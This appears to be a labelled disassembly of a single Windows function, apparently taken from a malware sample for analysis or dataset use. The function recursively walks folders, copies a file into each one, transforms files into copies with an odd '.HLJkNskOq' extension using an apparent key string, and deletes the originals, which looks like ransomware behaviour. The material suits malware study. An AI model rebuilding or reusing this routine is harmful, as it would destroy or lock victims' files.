Function at 0x4014c0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x16ac
call fcn.004135a0
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x1458]
push esi
push edi
mov edi, ecx
push edi
push str._s.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x16a8]
push eax
lea eax, [ebp - 0x1458]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401522
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a6e
mov esp, ebp
pop ebp
ret
mov ecx, 0x419e20
lea eax, [ebp - 0x167c]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401556
test dx, dx
je 0x401552
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401556
add eax, 4
add ecx, 4
test dx, dx
jne 0x401530
xor eax, eax
jmp 0x40155b
sbb eax, eax
or eax, 1
test eax, eax
je 0x401731
mov ecx, 0x419e24
lea eax, [ebp - 0x167c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401596
test dx, dx
je 0x401592
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401596
add eax, 4
add ecx, 4
test dx, dx
jne 0x401570
xor eax, eax
jmp 0x40159b
sbb eax, eax
or eax, 1
test eax, eax
je 0x401731
lea eax, [ebp - 0x167c]
push eax
push edi
lea eax, [ebp - 0x1458]
push str._s_s
push eax
call ebx
add esp, 0x10
test byte [ebp - 0x16a8], 0x10
je 0x40160e
push 0x419da0
lea eax, [ebp - 0x1458]
push eax
push str._s_s
lea eax, [ebp - 0x458]
push 0x104
push eax
call fcn.004019f0
add esp, 0x14
lea eax, [ebp - 0x458]
push 0
push eax
push 0x419da0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x1458]
call fcn.004014c0
jmp 0x401731
movups xmm0, xmmword [str.WhyNotBar]
mov eax, dword [0x419e0c]
mov dword [ebp - 8], eax
mov ax, word [0x419dc8]
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x44]
movups xmm0, xmmword [0x419da0]
push eax
lea eax, [ebp - 0x1458]
movups xmmword [ebp - 0x44], xmm0
push eax
movups xmm0, xmmword [0x419db0]
movups xmmword [ebp - 0x34], xmm0
movq xmm0, qword [0x419dc0]
movq qword [ebp - 0x24], xmm0
call fcn.004025a2
add esp, 8
test eax, eax
jne 0x401731
lea eax, [ebp - 0x1458]
push 0x419dcc
push eax
call fcn.004025a2
add esp, 8
test eax, eax
jne 0x401731
lea eax, [ebp - 0x1458]
push str.desktop.ini
push eax
call fcn.004025a2
add esp, 8
test eax, eax
jne 0x401731
movzx ecx, word [ebp + eax - 0x1458]
lea eax, [eax + 2]
mov word [ebp + eax - 0x252], cx
test cx, cx
jne 0x4016a1
lea eax, [ebp - 0x250]
push 0x2e
push eax
call fcn.0040280d
add esp, 8
test eax, eax
je 0x4016d3
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x250]
push eax
push str._s.HLJkNskOq
push 0x208
push eax
call fcn.004019f0
add esp, 0x10
xor ecx, ecx
nop
movzx eax, word [ebp + ecx - 0x1458]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x45a], ax
test ax, ax
jne 0x4016f0
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x458]
call fcn.004011a0
add esp, 4
test al, al
je 0x401731
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x16a8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401522
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a6e
mov esp, ebp
pop ebp
ret